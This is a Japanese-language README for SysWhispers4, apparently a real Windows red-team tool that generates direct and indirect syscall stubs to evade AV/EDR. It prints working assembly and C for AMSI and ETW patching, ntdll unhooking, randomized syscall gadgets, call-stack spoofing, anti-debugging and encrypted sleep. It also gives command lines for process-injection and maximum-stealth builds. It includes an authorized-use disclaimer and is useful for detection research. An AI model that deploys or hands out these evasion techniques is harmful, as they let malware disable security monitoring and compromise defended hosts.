SysWhispers4
AV/EDR回避:直接的・間接的システムコールによる
Windows NT 3.1 から Windows 11 24H2 · x64 · x86 · WoW64 · ARM64
SysWhispers4 は、Python ベースの syscall スタブ生成ツールで、ntdll.dll に AV/EDR 製品が仕掛けたユーザーモードフックを回避し、NT カーネル関数を直接呼び出すための C/ASM コードを生成します。
SysWhispers → SysWhispers2 → SysWhispers3 の系譜を引き継ぎ、本バージョンはこれまでで最も包括的な SSN 解決戦略、呼び出し方法、回避機能のセットを追加しています。
進化: SysWhispers 1 → 4
機能比較マトリックス
| 機能 | SW1 | SW2 | SW3 | SW4 |
|---|
| SSN 解決 | | | | |
| 静的埋め込みテーブル | ✅ | ✅ | ✅ | ✅ |
| Hell's Gate(実行時 ntdll パース) | ❌ | ✅ | ✅ | ✅ |
| Halo's Gate(フック隣接スキャン) | ❌ | ❌ | ✅ | ✅ |
| Tartarus' Gate(near+far JMP) | ❌ | ❌ | 部分 | ✅ |
| FreshyCalls(VA によるソート) | ❌ | ❌ | ❌ | ✅ 新規 |
| SyscallsFromDisk(KnownDlls からクリーンな ntdll) | ❌ | ❌ | ❌ | ✅ 新規 |
| RecycledGate(FreshyCalls + オペコード検証) | ❌ | ❌ | ❌ | ✅ 新規 |
| HW Breakpoint(DR レジスタ + VEH) | ❌ | ❌ | ❌ | ✅ 新規 |
| 静的 + 動的フォールバック | ❌ | ❌ | ❌ | ✅ 新規 |
| 呼び出し方法 | | | | |
埋め込み(直接 syscall) | ✅ | ✅ | ✅ | ✅ |
| 間接(ntdll ガジェットへの jmp) | ❌ | ❌ | ✅ | ✅ |
| ランダム化間接(呼び出しごとのエントロピー) | ❌ | ❌ | 部分† |
† SW3 のランダム化手法にはレジスタ破壊バグがありました — RDTSC が edx(第2引数)を上書きします。SW4 は rdtsc の前に rdx → r11 を正しく保存し、スタックに触れずに復元します。
v4.1 の新機能
新しい SSN 解決方法
SyscallsFromDisk(--resolve from_disk)
\KnownDlls\ntdll.dll から ntdll のクリーンなコピーをマップし、フックされていない .text セクションから SSN を読み取ります。すべてのインラインフックを完全にバイパスします — EDR がこの読み取りを確認することはありません。```c
// Flow: NtOpenSection → NtMapViewOfSection → read clean SSNs → NtUnmapViewOfSection
// SSNs come from the on-disk image, guaranteed hook-free
SW4_SyscallsFromDisk(pNtdll);
#### RecycledGate(`--resolve recycled`)
FreshyCalls(VAソート)の信頼性と、Hell's Gateのオペコード検証を組み合わせた方式。各関数について:
1. ソート済み位置から候補SSNを取得(FreshyCalls)
2. スタブがクリーンな場合、SSNがオペコードと一致するか検証(二重チェック)
3. スタブがフックされている場合、ソート済みインデックスのSSNを信頼(フック耐性)
**利用可能な中で最も回復力のある手法** — フックがスタブを並べ替えたりオペコードを変更したりしても、VAソートが正しいSSNを導き出します。
#### HW Breakpoint(`--resolve hw_breakpoint`)
**デバッグレジスタ**(DR0–DR3)とVectored Exception Handler(VEH)を使用して、(フックされている可能性のある)関数バイトを読み取らずにSSNを抽出します:
1. DR0 = ntdllスタブ内の`syscall`命令のアドレスに設定
2. VEHハンドラを登録
3. スタブを呼び出す — VEHが`EXCEPTION_SINGLE_STEP`を捕捉
4. ブレークポイント時点でEAXにSSNが含まれている — それを取得
5. DR0をクリアし、syscallをスキップして続行
フックが実行をリダイレクトする場合でも機能します。`mov eax, <SSN>`の後にブレークポイントが発火するためです。
### 新しい回避技術
#### AMSI Bypass(`--amsi-bypass`)
`amsi.dll!AmsiScanBuffer`をパッチして`E_INVALIDARG`を返すようにし、AMSIにスキャン引数が無効であると思わせます。`amsi.dll`が読み込まれていない場合は、成功を返します(パッチするものはありません)。```c
SW4_PatchAmsi(); // Call early, before any suspicious operations
ntdll アンフック(--unhook-ntdll)
\KnownDlls\ から ntdll のクリーンなコピーをマップし、クリーンなバイトでフックされた .text セクションを上書きします。```c
// Call BEFORE SW4_Initialize() for best results
SW4_UnhookNtdll(); // Remove ALL inline hooks from ntdll
SW4_Initialize(); // Now FreshyCalls/Hell's Gate reads clean stubs
これにより、ntdll からすべてのインラインフックが完全に削除され、以降の NT API 呼び出しは元のコードパスを経由するようになります。
#### アンチデバッグ (`--anti-debug`)
デバッガー/解析環境の存在を検出するための 6 つのチェックを実行します:
| チェック | 技術 | 検出内容 |
|-------|-----------|---------|
| 1 | `PEB.BeingDebugged` | 標準的なデバッガーのアタッチ |
| 2 | `NtGlobalFlag` (0x70) | デバッガーによって設定されるヒープデバッグフラグ |
| 3 | `RDTSC` タイミングデルタ | シングルステップ / トレーシング |
| 4 | `NtQueryInformationProcess(ProcessDebugPort)` | カーネルデバッグポート |
| 5 | ヒープフラグ解析 | デバッグヒープの兆候 |
| 6 | インストルメンテーションコールバックの検出 | EDR のインストルメンテーションフック |```c
if (!SW4_AntiDebugCheck()) {
// Debugger detected — bail out or take evasive action
ExitProcess(0);
}
Sleep Encryption (--sleep-encrypt)
Ekko スタイルのスリープ中メモリ暗号化(定期的なメモリスキャナーを回避するため):
RDTSC を介してランダムな XOR キーを生成
- 自身の
.text セクションを XOR 暗号化
- 待機可能タイマー + APC キューを設定して復号
- アラート可能状態でスリープ
- タイマーが発火 → APC が
.text を復号 → 実行が再開```c
// Instead of Sleep(5000), use:
SW4_SleepEncrypt(5000); // .text is encrypted during the entire sleep
無効化:
- スリープ中のメモリスキャナー(コードは暗号化された意味不明なデータ)
- 定期的なモジュールスキャン(シグネチャが一致しない)
- メモリ内PEに対するYARA/シグネチャスキャン
---
## 全機能(既存+新規)
### SSN解決メソッド(全8種)
| 手法 | フラグ | フック耐性 | 速度 | 備考 |
|--------|------|:-:|:-:|-------|
| Static | `--resolve static` | なし | 最速 | 組み込みのj00ruテーブル、実行時解析なし |
| Hell's Gate | `--resolve hells_gate` | 低 | 高速 | オペコードバイトを読み取る — フックされていると失敗 |
| Halo's Gate | `--resolve halos_gate` | 中 | 高速 | 隣接スキャン(±8スタブ) |
| Tartarus' Gate | `--resolve tartarus` | 高 | 高速 | E9/FF25/EB/CCフックを検出、±16隣接 |
| FreshyCalls | `--resolve freshycalls` | **非常に高** | 中 | VA順にソート — 関数バイトを読み取らない |
| SyscallsFromDisk | `--resolve from_disk` | **最大** | 遅い | ディスクからクリーンなntdllをマップ |
| RecycledGate | `--resolve recycled` | **最大** | 中 | FreshyCalls + オペコードの相互検証 |
| HW Breakpoint | `--resolve hw_breakpoint` | **最大** | 遅い | DRレジスタ + VEH |
### 呼び出しメソッド(全4種)
| 手法 | フラグ | ntdll内のRIP | ディスク上のSyscall | 呼び出しごとにランダム |
|--------|------|:-:|:-:|:-:|
| Embedded | `--method embedded` | ❌ | ✅ | ❌ |
| Indirect | `--method indirect` | ✅ | ❌ | ❌ |
| Randomized | `--method randomized` | ✅ | ❌ | ✅ (64ガジェット) |
| Egg Hunt | `--method egg` | ❌ | ❌ | ❌ |
### 回避オプション(全8種)
| 機能 | フラグ | 説明 |
|---------|------|-------------|
| 難読化 | `--obfuscate` | スタブの並べ替え + 14種類のジャンク命令バリアント |
| SSN暗号化 | `--encrypt-ssn` | ランダムなコンパイル時キーによるXOR |
| スタックスプーフィング | `--stack-spoof` | ntdllから合成されたリターンアドレス |
| ETWバイパス | `--etw-bypass` | `EtwEventWrite`にパッチを当て、ACCESS_DENIEDを返す |
| AMSIバイパス | `--amsi-bypass` | `AmsiScanBuffer`にパッチを当て、E_INVALIDARGを返す |
| ntdllアンフッキング | `--unhook-ntdll` | `\KnownDlls\` からクリーンな `.text` を再マップ |
| アンチデバッグ | `--anti-debug` | 6つの検出チェック(PEB、タイミング、ヒープなど) |
| スリープ暗号化 | `--sleep-encrypt` | スリープ中に `.text` をEkkoスタイルでXOR |
---
## クイックスタート```bash
git clone https://github.com/CyberSecurityUP/SysWhispers4
cd SysWhispers4
# Optional: update syscall table from j00ru (for --resolve static)
python scripts/update_syscall_table.py
# Common preset — FreshyCalls + direct syscall (recommended start)
python syswhispers.py --preset common
# Injection preset — indirect via Tartarus' Gate
python syswhispers.py --preset injection --method indirect --resolve tartarus
# Maximum evasion: all techniques combined
python syswhispers.py --preset stealth \
--method randomized --resolve recycled \
--obfuscate --encrypt-ssn --stack-spoof \
--etw-bypass --amsi-bypass --unhook-ntdll \
--anti-debug --sleep-encrypt
# Clean ntdll from disk — bypasses ALL hooks
python syswhispers.py --preset injection \
--method indirect --resolve from_disk \
--unhook-ntdll
# Hardware breakpoint SSN extraction
python syswhispers.py --functions NtAllocateVirtualMemory,NtCreateThreadEx \
--resolve hw_breakpoint
# Egg hunt (no syscall opcode on disk)
python syswhispers.py \
--functions NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx \
--method egg --resolve halos_gate
# ARM64 (Windows on ARM)
python syswhispers.py --preset common --arch arm64
# x86 / WoW64
python syswhispers.py --preset injection --arch x86
# MinGW / Clang (GAS inline assembly)
python syswhispers.py --preset common --compiler mingw
コマンドラインリファレンス```
python syswhispers.py [OPTIONS]
Function selection (at least one required):
-p, --preset PRESET common | injection | evasion | token | stealth |
file_ops | transaction | all
-f, --functions FUNCS NtAllocateVirtualMemory,NtCreateThreadEx,...
Target:
-a, --arch ARCH x64 (default) | x86 | wow64 | arm64
-c, --compiler COMPILER msvc (default) | mingw | clang
Techniques:
-m, --method METHOD embedded (default) | indirect | randomized | egg
-r, --resolve RESOLVE freshycalls (default) | static | hells_gate |
halos_gate | tartarus | from_disk | recycled |
hw_breakpoint
Evasion / Obfuscation:
--obfuscate Randomize stub order + inject junk instructions
--encrypt-ssn XOR-encrypt SSN table at rest
--stack-spoof Include synthetic call stack frame helper
--etw-bypass Include user-mode ETW patch function
--amsi-bypass Include AMSI bypass (AmsiScanBuffer patch)
--unhook-ntdll Include ntdll unhooking (remap from KnownDlls)
--anti-debug Include anti-debugging checks (6 techniques)
--sleep-encrypt Include Ekko-style sleep encryption
Output:
--prefix PREFIX Symbol prefix (default: SW4)
-o, --out-file OUTFILE Output filename base (default: SW4Syscalls)
--out-dir OUTDIR Output directory (default: .)
Info:
--list-functions Print all 64 supported NT functions and exit
--list-presets Print all preset definitions and exit
-v, --verbose Verbose output / traceback on error
---
## 生成ファイル
| ファイル | 目的 |
|---|---|
| `SW4Syscalls_Types.h` | NT型定義 — 構造体、列挙型、typedef |
| `SW4Syscalls.h` | 関数プロトタイプ + `SW4_Initialize()` + 回避API宣言 |
| `SW4Syscalls.c` | ランタイムSSN解決 + ヘルパー関数 + 回避実装 |
| `SW4Syscalls.asm` | MASM syscallスタブ (MSVC) |
| `SW4Syscalls_stubs.c` | GASインラインアセンブリスタブ (MinGW / Clang) |
---
## 統合 (MSVC)
1. 4つのファイルをVisual Studioプロジェクトに追加します
2. MASMを有効にする: **プロジェクト → ビルドカスタマイズ → masm (.targets)**
3. 起動時に初期化関数を呼び出します```c
#include "SW4Syscalls.h"
int main(void) {
// Step 1 (optional): Remove ALL hooks from ntdll
// Call BEFORE Initialize for best results
SW4_UnhookNtdll();
// Step 2: Resolve SSNs (required for all dynamic methods)
if (!SW4_Initialize()) return 1;
// Step 3 (optional): Evasion patches
SW4_PatchEtw(); // Suppress user-mode ETW events
SW4_PatchAmsi(); // Bypass AMSI scanning
// Step 4 (optional): Verify clean environment
if (!SW4_AntiDebugCheck()) {
// Debugger detected — take evasive action
return 0;
}
// Use NT functions directly — all via syscall, no API hooks
PVOID base = NULL;
SIZE_T size = 0x1000;
NTSTATUS st = SW4_NtAllocateVirtualMemory(
GetCurrentProcess(), &base, 0, &size,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE
);
// Use encrypted sleep instead of Sleep()
// SW4_SleepEncrypt(5000); // .text encrypted during sleep
return NT_SUCCESS(st) ? 0 : 1;
}
統合 (MinGW/Clang)```bash
x86_64-w64-mingw32-gcc -masm=intel
example.c SW4Syscalls.c SW4Syscalls_stubs.c
-o example.exe -lntdll
---
## SSN 解決テクニック
### 静的
生成時に同梱の j00ru テーブルからシステムコール番号を埋め込みます。実行時の ntdll パースは不要 — 最速かつ最もシンプルです。埋め込みテーブルは検出シグナルとなるため、ステルス性を求める場合は動的手法を使用してください。
### FreshyCalls *(デフォルト — 推奨)*
ntdll のすべての `Nt*` エクスポートを仮想アドレスでソートします。ソートされたインデックス = SSN です。**すべて** の `Nt*` スタブがフックされていても機能します — VA のみを読み取り、関数バイトは読み取りません。
### Hell's Gate
各 ntdll スタブから `mov eax, <SSN>` オペコードを直接読み取ります:```
4C 8B D1 B8 [SSN_lo] [SSN_hi] 00 00
スタブの先頭バイトがEDRフックによって上書きされると失敗します。
Halo's Gate
Hell's Gateを拡張:スタブがフックされている場合、ソートされたエクスポートリスト内の隣接スタブ(±8)をスキャンし、±オフセット演算でSSNを推定します。
Tartarus' Gate
Halo's Gateを拡張し、すべてのEDRフックパターンを検出します:
E9 xx xx xx xx — 近距離相対JMP
FF 25 xx xx xx xx — メモリ経由の遠距離絶対JMP
EB xx — ショートJMP
CC — int3ブレークポイント
E8 xx xx xx xx — コール(まれ)
両方向に最大16個の隣接スタブをスキャンします。
SyscallsFromDisk (すべてのフックをバイパス)
\KnownDlls\ntdll.dllから完全にクリーンなntdllのコピーをマッピングし、改変されていない.textセクションからSSNを読み取ります。EDRフックは無関係です — フックされたコピーから読み取ることは決してありません。
RecycledGate (最も堅牢)
FreshyCallsとHell's Gateを組み合わせて最大限の確信度を実現します:
- プライマリ: VAソート済みインデックス(FreshyCalls)
- 検証: スタブがクリーンな場合のオペコードのクロスチェック
- フォールバック: スタブがフックされている場合はVAソートを信頼
EDRがフックとエクスポートテーブルエントリの両方を改変しても、VAソートは依然として正しいSSNを提供します。
HW Breakpoint (高度)
CPUのデバッグレジスタ(DR0–DR3)を使用して、ntdll内のsyscall命令にハードウェアブレークポイントを設定します。ベクタード例外ハンドラ(VEH)がブレークポイントを捕捉し、その時点でEAXからSSNを読み取ります。改ざんされた可能性のあるバイトは一切読み取りません。
呼び出し方法
埋め込み — ダイレクトシステムコール
syscallはスタブ内に存在します。カーネルエントリ時、RIPは自身のPEを指します — non-ntdllのRIPをチェックするEDRに検出されます。
間接
事前に特定されたsyscall;retガジェット(ntdll.dll内)へジャンプします。カーネルエントリ時、RIPがntdll内にあるように見えます — 正規のAPIコールと同一です。
ランダム化間接
間接と同様ですが、呼び出しのたびに最大64個からなるプールからランダムなガジェットを選択します。特定のntdllガジェットアドレスをホワイトリスト化するEDRヒューリスティックを無効化します。エントロピー源としてRDTSCを使用します — APIコールは不要です。```asm
SW4_NtAllocateVirtualMemory PROC
mov r10, rcx ; arg1 → r10 (syscall ABI)
mov r11, rdx ; SAVE rdx — rdtsc trashes edx!
rdtsc ; eax:edx = TSC (clobbers edx)
xor eax, edx ; mix
and eax, 63 ; pool index (0..63)
lea rcx, [SW4_GadgetPool]
mov rcx, QWORD PTR [rcx + rax8] ; random gadget
mov rdx, r11 ; RESTORE rdx
mov eax, DWORD PTR [SW4_SsnTable + N4]
jmp rcx ; → random ntdll syscall;ret
SW4_NtAllocateVirtualMemory ENDP
### エッグハント
スタブは、`syscall` の代わりに8バイトのランダムなエッグマーカーを含みます。`SW4_HatchEggs()` は起動時に `.text` セクションをスキャンし、各エッグを `0F 05 90 90 90 90 90 90` に置き換えます。**ディスク上のバイナリには `syscall` オペコードは現れません。**
---
## EDR 検出の全体像
| 検出ベクトル | 埋め込み | 間接 | ランダム化 | エッグ |
|---|:-:|:-:|:-:|:-:|
| ユーザーモードフックの回避 | ✅ | ✅ | ✅ | ✅ |
| syscall 時に RIP が ntdll 内にある | ❌ | ✅ | ✅ | ❌ |
| ディスク上のバイナリに `0F 05` が存在しない | ✅¹ | ✅ | ✅ | **✅** |
| 呼び出しごとにランダムなガジェット | ❌ | ❌ | **✅** | ❌ |
| クリーンなコールスタック | `--stack-spoof` 使用時 | `--stack-spoof` 使用時 | `--stack-spoof` 使用時 | `--stack-spoof` 使用時 |
| スリープ中のメモリスキャン回避 | `--sleep-encrypt` 使用時 | `--sleep-encrypt` 使用時 | `--sleep-encrypt` 使用時 | `--sleep-encrypt` 使用時 |
| カーネル ETW-Ti バイパス | ❌ | ❌ | ❌ | ❌ |
¹ `syscall` オペコードは、ntdll ではなく、PE の `.text` セクション内の自身のコードアドレスにあります。
> **ETW-Ti** (`Microsoft-Windows-Threat-Intelligence`) は、呼び出し方法に関係なくカーネル内で発動します。カーネルアクセスなしにこれをバイパスできるユーザーモード技術はありません。
---
## 回避技術の詳細
### XOR 暗号化 SSN テーブル (`--encrypt-ssn`)
SSN 値は、ランダムなコンパイル時キーで XOR された状態で保存されます。syscall の直前に ASM スタブ内で復号されます。静的状態のバイナリには平文の SSN は現れません。```c
#define SW4_XOR_KEY 0xDEADF00DU
// In SSN table: encrypted value
SW4_SsnTable[fi] = sortedIndex ^ SW4_XOR_KEY;
; In stub: decrypt before syscall
mov eax, DWORD PTR [SW4_SsnTable + N*4] ; encrypted
xor eax, SW4_XOR_KEY ; decrypt
syscall
コールスタックスプーフィング (--stack-spoof)
可視のリターンアドレスをntdll内のポインタに置き換えるトランポリンで、スタックを辿るEDRに対してコールチェーンが正当に見えるようにします。```asm
SW4_CallWithSpoofedStack PROC
pop r11 ; save real return address
push [SW4_SpoofReturnAddr] ; push ntdll address instead
push r11 ; real address below (unreachable by walker)
jmp rax ; execute target
SW4_CallWithSpoofedStack ENDP
### ETW バイパス (`--etw-bypass`)
`ntdll!EtwEventWrite` にパッチを適用し、即座に `STATUS_ACCESS_DENIED` を返すようにすることで、ユーザーモードの ETW イベント配信を抑制します。
> これはカーネルモードの ETW-Ti コールバックを**バイパスしません**。許可されたエンゲージメントでのみ使用してください。
### ntdll のフック解除 (`--unhook-ntdll`)
`\KnownDlls\` からクリーンな ntdll をマッピングし、フックされた `.text` セクションの上にクリーンな `.text` セクションを `memcpy` でコピーします:```
Flow: NtOpenSection → NtMapViewOfSection → FindSection(".text") →
VirtualProtect(RWX) → memcpy(clean→hooked) → VirtualProtect(RX) → cleanup
SW4_Initialize() の前に呼び出して、SSN解決がクリーンなスタブを読み取るようにしてください。
ジャンク命令 (--obfuscate)
スタブ命令の間に注入される14種類の無害なx64命令バリアント:```asm
nop ; classic NOP
xchg ax, ax ; 2-byte NOP
lea r11, [r11] ; no-op LEA
nop DWORD PTR [rax] ; multi-byte NOP
xchg r11, r11 ; register swap (no-op)
test r11d, 0ABh ; flags-only, result discarded
push 042h / pop r11 ; push-pop noise
fnop ; FPU no-op
lea rsp, [rsp + 00h] ; stack identity LEA
; ... and more
---
## 対応機能 (64)```bash
python syswhispers.py --list-functions
プリセット
推奨構成
最小検出フットプリント(Red Team)```bash
python syswhispers.py --preset stealth
--method randomized --resolve recycled
--obfuscate --encrypt-ssn --stack-spoof
--unhook-ntdll --etw-bypass --amsi-bypass
--anti-debug --sleep-encrypt
### 高速&シンプル(CTF / クイックテスト)```bash
python syswhispers.py --preset common
高度にフックされたEDRのバイパス```bash
python syswhispers.py --preset injection
--method indirect --resolve from_disk
--unhook-ntdll --encrypt-ssn
### プロセス・ドッペルゲンギング```bash
python syswhispers.py --preset transaction \
--method indirect --resolve freshycalls
システムコールテーブルの対応範囲
scripts/update_syscall_table.py により j00ru/windows-syscalls から更新:
| OS | 対象ビルド |
|---|
| Windows 7 | SP1 (7601) |
| Windows 8 / 8.1 | RTM (9200, 9600) |
| Windows 10 | 1507 → 22H2 (10240 → 19045, 14 ビルド) |
アーキテクチャのサポート
プロジェクト構造```
SysWhispers4/
├── syswhispers.py # CLI entry point
├── core/
│ ├── models.py # Enums, dataclasses (8 resolution, 4 invocation methods)
│ ├── generator.py # Code generation engine (~1900 lines)
│ ├── obfuscator.py # Obfuscation: junk, eggs, XOR, string encryption
│ └── utils.py # Hashes (DJB2, CRC32, FNV-1a), data loading
├── data/
│ ├── prototypes.json # 64 NT function signatures
│ ├── presets.json # 8 function presets
│ ├── syscalls_nt_x64.json # x64 SSN table (Win7–Win11 24H2)
│ └── syscalls_nt_x86.json # x86 SSN table
├── scripts/
│ └── update_syscall_table.py # Auto-fetch latest j00ru table
└── examples/
└── example_injection.c # Reference integration example
---
## セキュリティ通知
SysWhispers4 は、セキュリティ研究および許可された侵入テストを目的としたツールです。以下の場合にのみ使用してください:
- 所有しているシステム、または明示的な書面によるテスト許可を得たシステム
- CTF コンテスト
- 防御研究(攻撃手法を理解して検知を向上させるため)
- セキュリティ製品のシグネチャ開発
所有していないシステムに対する不正使用は、多くの法域で違法となります。
---
## 参考資料・クレジット
| リソース | 著者 |
|---|---|
| [SysWhispers](https://github.com/jthuraisamy/SysWhispers) | Jackson T. (jthuraisamy) |
| [SysWhispers2](https://github.com/jthuraisamy/SysWhispers2) | Jackson T. (jthuraisamy) |
| [SysWhispers3](https://github.com/klezVirus/SysWhispers3) | klezVirus |
| [SysWhispers3 fork](https://github.com/RWXstoned/SysWhispers3) | RWXstoned |
| [Windows Syscall Tables](https://github.com/j00ru/windows-syscalls) | j00ru |
| [Hell's Gate](https://github.com/am0nsec/HellsGate) | am0nsec, RtlMclovin |
| [Halo's Gate](https://sektor7.net) | SEKTOR7 |
| [Tartarus' Gate](https://github.com/trickster0/TartarusGate) | trickster0 |
| [FreshyCalls](https://github.com/crummie5/FreshyCalls) | crummie5 |
| [RecycledGate](https://github.com/thefLink/RecycledGate) | thefLink |
| [Ekko Sleep Obfuscation](https://github.com/Cracked5pider/Ekko) | C5pider |
| [LayeredSyscall](https://whiteknightlabs.com/2024/07/31/layeredsyscall-abusing-veh-to-bypass-edrs/) | White Knight Labs |
| [Call Stack Spoofing](https://labs.withsecure.com/publications/spoofing-call-stacks-to-confuse-edrs) | WithSecure Labs |
| [SysWhispers Evolution Analysis](https://sudosiddharths.medium.com/analyzing-the-evolution-and-execution-of-syswhispers-1-3-74cbbcdaf397) | Siddharth S. |
---
## ライセンス
このプロジェクトは、教育および許可されたセキュリティテストの目的で公開されています。